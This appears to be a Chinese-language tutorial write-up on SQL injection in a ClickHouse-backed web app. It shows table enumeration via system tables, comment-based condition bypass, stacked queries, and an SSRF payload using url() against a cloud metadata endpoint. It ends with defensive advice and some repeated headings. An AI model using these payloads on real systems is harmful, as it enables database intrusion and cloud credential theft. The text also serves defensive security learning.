ClickHouse数据库安全漏洞挖掘实战指南<\/h1>

1. 前言<\/h2>
本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程，涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统，主要用于在线分析处理(OLAP)，在大数据分析领域应用广泛。<\/p>

2. 初始发现阶段<\/h2>

2.1 测试环境识别<\/h3>

目标系统为前后端分离架构，基于SpringBoot搭建<\/li>
发现\/env<\/code>端点泄露，但无敏感信息<\/li>

发现Swagger UI界面，但接口需要本地访问(127.0.0.1)<\/li>
<\/ul>
2.2 关键发现<\/h3>

通过接口测试发现数据库报错，确认使用ClickHouse数据库<\/li>
报错信息示例：Table apaaslog.tmp doesn't exist<\/code><\/li>
传统SQL注入工具(sqlmap)无法直接利用该漏洞<\/li>
<\/ul>
3. ClickHouse数据库特性<\/h2>
3.1 与MySQL的区别<\/h3>

ClickHouse是列式存储数据库，MySQL是行式存储<\/li>
语法差异较大，传统SQL注入技术可能不适用<\/li>
系统表结构不同，如system.tables<\/code>、system.clusters<\/code><\/li>
<\/ul>
3.2 关键语法特点<\/h3>

查询表名语法示例：
SELECT<\/span> *<\/span> from<\/span> default<\/span>.actors  -- 表存在
<\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> from<\/span> default<\/span>.actor1  -- 表不存在
<\/span><\/span><\/span><\/code><\/pre><\/li>
注释语法需要分号：;--<\/code><\/li>
URL函数可用于SSRF：url('http:\/\/example.com', CSV, 'column1 String')<\/code><\/li>
<\/ul>
4. 漏洞挖掘过程<\/h2>
4.1 SQL注入确认<\/h3>

通过参数logstore<\/code>触发数据库报错<\/li>
重构原始SQL语句：
SELECT<\/span> *<\/span> from<\/span> apaaslog.tmp 
<\/span><\/span>WHERE<\/span> 1<\/span> =<\/span> 1<\/span> 
<\/span><\/span>AND<\/span> appid =<\/span> '1'<\/span> 
<\/span><\/span>AND<\/span> tenantname !=<\/span> ''<\/span> 
<\/span><\/span>AND<\/span> receive_date IN<\/span> (today(), yesterday()) 
<\/span><\/span>ORDER<\/span> BY<\/span> tenantname ASC<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
4.2 表名爆破技术<\/h3>

发现系统将点(.)前的内容识别为数据库名

输入test.log<\/code> → Database test doesn't exist<\/code><\/li>
输入tmp<\/code> → Table apaaslog.tmp doesn't exist<\/code><\/li>
<\/ul>
<\/li>
使用系统表system.tables<\/code>测试：
SELECT<\/span> DISTINCT<\/span> tenantcode, tenantname 
<\/span><\/span>FROM<\/span> system<\/span>.tables 
<\/span><\/span>WHERE<\/span> 1<\/span> =<\/span> 1<\/span> 
<\/span><\/span>AND<\/span> appid =<\/span> '1'<\/span> 
<\/span><\/span>AND<\/span> tenantname !=<\/span> ''<\/span> 
<\/span><\/span>AND<\/span> receive_date IN<\/span> (today(), yesterday()) 
<\/span><\/span>ORDER<\/span> BY<\/span> tenantname ASC<\/span>
<\/span><\/span><\/code><\/pre><\/li>
发现日志表可能使用_log<\/code>后缀，将点改为下划线爆破<\/li>
<\/ol>
4.3 注入利用技术<\/h3>

使用ClickHouse注释语法绕过条件：
;-- 注释掉后续WHERE条件
<\/span><\/span><\/span><\/code><\/pre><\/li>
任意SQL查询示例：
SELECT<\/span> *<\/span> FROM<\/span> valid_table; 
<\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.databases; -- 查询所有数据库
<\/span><\/span><\/span><\/code><\/pre><\/li>
<\/ol>
5. 高级利用技术<\/h2>
5.1 SSRF利用<\/h3>

通过URL函数实现SSRF：
SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/'<\/span>, 
<\/span><\/span>CSV, 'column1 String, column2 UInt32'<\/span>)
<\/span><\/span><\/code><\/pre><\/li>
可用于云环境元数据窃取<\/li>
<\/ol>
5.2 集群信息收集<\/h3>

查询集群信息：
SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.clusters
<\/span><\/span><\/code><\/pre><\/li>
ClickHouse默认使用8123端口进行HTTP查询：
http:\/\/IP:8123?query=SQL语句
<\/code><\/pre>
<\/li>
<\/ol>
5.3 自动化工具利用<\/h3>

确认注入点后，可调整sqlmap参数进行利用<\/li>
需注意ClickHouse特有的语法和函数<\/li>
<\/ol>
6. 防御建议<\/h2>

避免直接拼接用户输入到SQL查询中<\/li>
使用参数化查询或ORM框架<\/li>
限制数据库用户权限，避免使用高权限账户<\/li>
禁用或保护Swagger UI等开发接口<\/li>
定期检查并修复信息泄露端点(如\/env)<\/li>
<\/ol>
7. 参考资源<\/h2>

ClickHouse官方文档<\/li>
在线测试环境：ClickHouse Playground<\/a><\/li>
技术文章：ClickHouse与MySQL的区别<\/a><\/li>
<\/ol>
8. 总结<\/h2>
本案例展示了针对非传统数据库(ClickHouse)的安全测试方法，强调了对特定数据库特性的理解和利用。关键点包括：<\/p>

通过报错信息识别数据库类型<\/li>
针对特定语法调整测试方法<\/li>
利用系统表和特有函数扩大攻击面<\/li>
结合传统SQL注入技术与数据库特有功能<\/li>
<\/ul>
这种测试方法可以推广到其他类型的非关系型数据库，核心在于理解目标数据库的特有语法和功能。<\/p>

ClickHouse数据库安全漏洞挖掘实战指南<\/h1>

1. 前言<\/h2> 本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程，涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统，主要用于在线分析处理(OLAP)，在大数据分析领域应用广泛。<\/p>

2. 初始发现阶段<\/h2>

3. ClickHouse数据库特性<\/h2>

4. 漏洞挖掘过程<\/h2>

5. 高级利用技术<\/h2>

1. 前言<\/h2>
本指南详细记录了一个针对ClickHouse数据库的安全漏洞挖掘过程，涵盖了从初始发现到最终利用的全流程。ClickHouse是一种开源的列式数据库管理系统，主要用于在线分析处理(OLAP)，在大数据分析领域应用广泛。<\/p>